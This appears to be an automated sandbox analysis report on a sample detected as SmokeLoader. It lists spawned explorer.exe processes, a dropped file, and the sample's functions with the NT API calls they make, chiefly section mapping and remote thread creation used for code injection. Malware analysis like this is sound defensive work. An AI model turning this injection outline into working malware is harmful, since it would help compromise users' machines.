Show Windows behavior

Target ID:	9
Start time:	15:27:40
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x970000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:27:41
Start date:	06/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	15:27:42
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x970000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	15:27:43
Start date:	06/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff62d7d0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader, Description: Yara detected SmokeLoader, Source: 0000000C.00000002.3926284328.0000000000801000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	15:27:44
Start date:	06/10/2024
Path:	C:\Windows\SysWOW64\explorer.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\explorer.exe
Imagebase:	0x970000
File size:	4'514'184 bytes
MD5 hash:	DD6597597673F72E10C9DE7901FBA0A8
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	15:30:01
Start date:	06/10/2024
Path:	C:\Users\user\AppData\Roaming\hfetwhc
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\hfetwhc
Imagebase:	0x400000
File size:	37'888 bytes
MD5 hash:	8E177D78AE583957804B5A933D6A3F1E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exePID: 3340, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	13.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	46.1%
Total number of Nodes:	128
Total number of Limit Nodes:	5

Executed Functions

Function 00401597 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016C0
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401701
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401732
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401754

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 4bd35a49a1b245d18956b9a677ee802fbaaf2513d6b9e69c058e48c39028dee8
Instruction ID: 85d8d5eeeb7c1a6f455d1051bc3e68dc495f37d080ff889bc09c670f702c8de1
Opcode Fuzzy Hash: 4bd35a49a1b245d18956b9a677ee802fbaaf2513d6b9e69c058e48c39028dee8
Instruction Fuzzy Hash: EC613DB5600245FFEB209F91CC49FAF7BB8EF85710F10412AF912BA1E5D6749901DB25

Function 004015A2 Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016C0
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401701
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401732
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401754

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 550af55b5c33a16d76ad9188aa3b48c23daf6e7e6acb27d056da92f91d001912
Instruction ID: a0af025894150f1e49885bea0be4db9ca11602f8d27e405362ed464290d16070
Opcode Fuzzy Hash: 550af55b5c33a16d76ad9188aa3b48c23daf6e7e6acb27d056da92f91d001912
Instruction Fuzzy Hash: 1A51FAB5900245BFEB208F91CC49FAF7BB8FF85710F10416AFA12BA2E5D6759941CB24

Function 004015AE Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016C0
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401701
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401732
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401754

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: aad48c6d88222827d76aa7652c6c796d7ddce7428490710ae29ddb02ebf74649
Instruction ID: d93687337549ecf3b3999b9eee4fb31f76edfbca6074550aabce6ce0329d43fa
Opcode Fuzzy Hash: aad48c6d88222827d76aa7652c6c796d7ddce7428490710ae29ddb02ebf74649
Instruction Fuzzy Hash: 3651E9B5900249BFEB208F91CC49FAF7BB8FF85710F10416AF912BA2E5D6749941CB64

Function 004015B2 Relevance: 10.7, APIs: 7, Instructions: 168
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016C0
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401701
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401732
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401754

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8f1b04596c891638e987061b4fd14cd6f2842466c9f73f2235a240237ce973bd
Instruction ID: e724d2045ade5056ad904edc052e52f28ed36ddcc1604857e4509157ba9d4460
Opcode Fuzzy Hash: 8f1b04596c891638e987061b4fd14cd6f2842466c9f73f2235a240237ce973bd
Instruction Fuzzy Hash: 4951F8B5900249BFEB208F91CC48FAF7BB8FF85710F10416AFA11BA2E5D6749941CB24

Function 004015B5 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016C0
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401701
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401732
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401754

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: eb3fe8fbd6bccc29ca7bf92f4fff330b19a922bc50cdef00e3920239153ef05c
Instruction ID: 05886196e08d4e85f5453255f8ae9807988dcabdd8a0f4b981ab3c1fc65c3876
Opcode Fuzzy Hash: eb3fe8fbd6bccc29ca7bf92f4fff330b19a922bc50cdef00e3920239153ef05c
Instruction Fuzzy Hash: B551F9B5900249BFEB208F91CC48FAFBBB8FF85710F104169FA11BA2A5D7749945CB24

Function 004015C9 Relevance: 10.7, APIs: 7, Instructions: 165
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016C0
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401701
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401732
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401754

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: ea96f037bf94ea02d19f6c63c086c7fff38af85363d4889041e369385c3c27e7
Instruction ID: ef1b3f988cfa4bb2a22b23b9c3e523de7926394e29e71cf52b4e6543f7eacfea
Opcode Fuzzy Hash: ea96f037bf94ea02d19f6c63c086c7fff38af85363d4889041e369385c3c27e7
Instruction Fuzzy Hash: 345117B5900249BFEB208F91CC49FEFBBB8FF85B10F100159FA11AA2A5D7749941CB24

Function 004015C6 Relevance: 10.7, APIs: 7, Instructions: 164
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016C0
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401701
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401732
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401754

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: a2f322119c05af17b4901faaf714ff9b7bf9a3c80b83fc2f3d91b8ffa7827192
Instruction ID: 60ad09eed729309f4eedb2a363b86104ae123941a7c17f9052a08614a1eb4cc1
Opcode Fuzzy Hash: a2f322119c05af17b4901faaf714ff9b7bf9a3c80b83fc2f3d91b8ffa7827192
Instruction Fuzzy Hash: 8051E9B5900249BFEB208F91CC49FEFBBB8FF85B10F104159F911BA2A5D6749945CB24

Function 00402600 Relevance: 6.1, APIs: 4, Instructions: 128
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenKey.NTDLL(F9F9F7E5,00000009,F9F9F7CD), ref: 00402658
NtEnumerateKey.NTDLL(?,?,00000000,00000000,00000000,00000000), ref: 004026CB
NtEnumerateKey.NTDLL(?,?,00000000,?,00000002,00000002), ref: 004026F6
NtClose.NTDLL(?), ref: 00402729

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Enumerate$CloseOpen
String ID:
API String ID: 4196332011-0
Opcode ID: bb34d06be76bb7b501c8afc06c01172f7ca9cf9edd1b1584a752fe27c3b853fc
Instruction ID: 6c5ac5058aa2b5087ec3ea8b6a8dc2ca808718e1067c45ee26b27d55205dc1df
Opcode Fuzzy Hash: bb34d06be76bb7b501c8afc06c01172f7ca9cf9edd1b1584a752fe27c3b853fc
Instruction Fuzzy Hash: E9414C7190020AEFDF119F90CA8DFAEBB75FF44704F208066E6017A1D1D7B85A45DB66

Function 004023B0 Relevance: 4.8, APIs: 3, Instructions: 328
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a00a9c7d13a07c51dd77bc3c2eb113ae7025efeb939adfbc7958f87c2f127ae
Instruction ID: a32d40ac3b9c7093630245df7894846315545a5dc73766260dcb213d7d2a491e
Opcode Fuzzy Hash: 6a00a9c7d13a07c51dd77bc3c2eb113ae7025efeb939adfbc7958f87c2f127ae
Instruction Fuzzy Hash: 22B1D431548285AFDB128B708E5DBAA7F70AF01300F1881AFE9456B1D3D3BC9906D76A

Function 0040250F Relevance: 4.7, APIs: 3, Instructions: 220
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenKey.NTDLL(F9F9F7E5,00000009,F9F9F7CD), ref: 00402658
NtEnumerateKey.NTDLL(?,?,00000000,00000000,00000000,00000000), ref: 004026CB
NtEnumerateKey.NTDLL(?,?,00000000,?,00000002,00000002), ref: 004026F6
NtClose.NTDLL(?), ref: 00402729

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Enumerate$CloseOpen
String ID:
API String ID: 4196332011-0
Opcode ID: 42da9b558526dab9f9f7d6e1865eeab63f52cf10c2a35edcbf27946a2bd194e1
Instruction ID: af6aad5066364b183d814378913c990334d1b5a1068601ef9d2b9d113d753dd3
Opcode Fuzzy Hash: 42da9b558526dab9f9f7d6e1865eeab63f52cf10c2a35edcbf27946a2bd194e1
Instruction Fuzzy Hash: C4817F304093856FDB128B608E6DBAABF70BF01304F18C1AFD8456A5D3D7B89949D76A

Function 00402595 Relevance: 4.6, APIs: 3, Instructions: 144
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtOpenKey.NTDLL(F9F9F7E5,00000009,F9F9F7CD), ref: 00402658
NtEnumerateKey.NTDLL(?,?,00000000,00000000,00000000,00000000), ref: 004026CB
NtEnumerateKey.NTDLL(?,?,00000000,?,00000002,00000002), ref: 004026F6
NtClose.NTDLL(?), ref: 00402729

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Enumerate$CloseOpen
String ID:
API String ID: 4196332011-0
Opcode ID: 78186842e91a73d37e52b9aadd370abdad8b8cb84815d1aad615ebabb8bd498c
Instruction ID: 3a269d0cca06ea8c5e40adcf94021f09073695a508613ac771173a695d32f02e
Opcode Fuzzy Hash: 78186842e91a73d37e52b9aadd370abdad8b8cb84815d1aad615ebabb8bd498c
Instruction Fuzzy Hash: BA517130809385AFDB12CFA0CD59BAABF74BF01300F18C59EE9447A1D2D7B89949DB65

Function 00402FFC Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 00403124
NtTerminateProcess.NTDLL ref: 00403135

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 9fc07a47e82ee84ddc63006ac5df85d4bbf6348d323fe261367906c717befcc8
Instruction ID: 3fe51a1ca5390821cec685e94d0c6465df1e8e695ad90730d317ab7b65ede5da
Opcode Fuzzy Hash: 9fc07a47e82ee84ddc63006ac5df85d4bbf6348d323fe261367906c717befcc8
Instruction Fuzzy Hash: 83414732618E0C4FD778EE6CA84967377D5E798311B1643AAD809D3398EE30D85187C6

Function 0040197F Relevance: 1.3, APIs: 1, Instructions: 61
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 679fef2a4a3561db55f23cc84b4bc5a750ce9d05a361d1e252e4cc0622c4667b
Instruction ID: c811fe4ff13ed005d7b90e820295dbd79effc60c5395b5f7653e819f54dd3e9f
Opcode Fuzzy Hash: 679fef2a4a3561db55f23cc84b4bc5a750ce9d05a361d1e252e4cc0622c4667b
Instruction Fuzzy Hash: C30180B2709204FAD7006A949E51E7A3668AB40751F704177BA43780F5D57C8913FA6F

Function 0040199B Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 6453cb712f97e6c3e73584405a9ab922ca49c2d0657cff5b7762b64cca9ea8ac
Instruction ID: df1ff986622998e63959179eb8c927f0d3cda0a7536f4bc564826170f3d4db9c
Opcode Fuzzy Hash: 6453cb712f97e6c3e73584405a9ab922ca49c2d0657cff5b7762b64cca9ea8ac
Instruction Fuzzy Hash: 35015AB2709245EADB009A849EA1FBA3265AB44711F708177BA43B80F5D53C8513BE6F

Function 0040198D Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388), ref: 004019CE

Part of subcall function 00401597: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401652
Part of subcall function 00401597: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 0040167F
Part of subcall function 00401597: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016A2

Memory Dump Source

Source File: 00000000.00000002.1489969947.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1489834744.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490187939.0000000000404000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1490212058.0000000000405000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
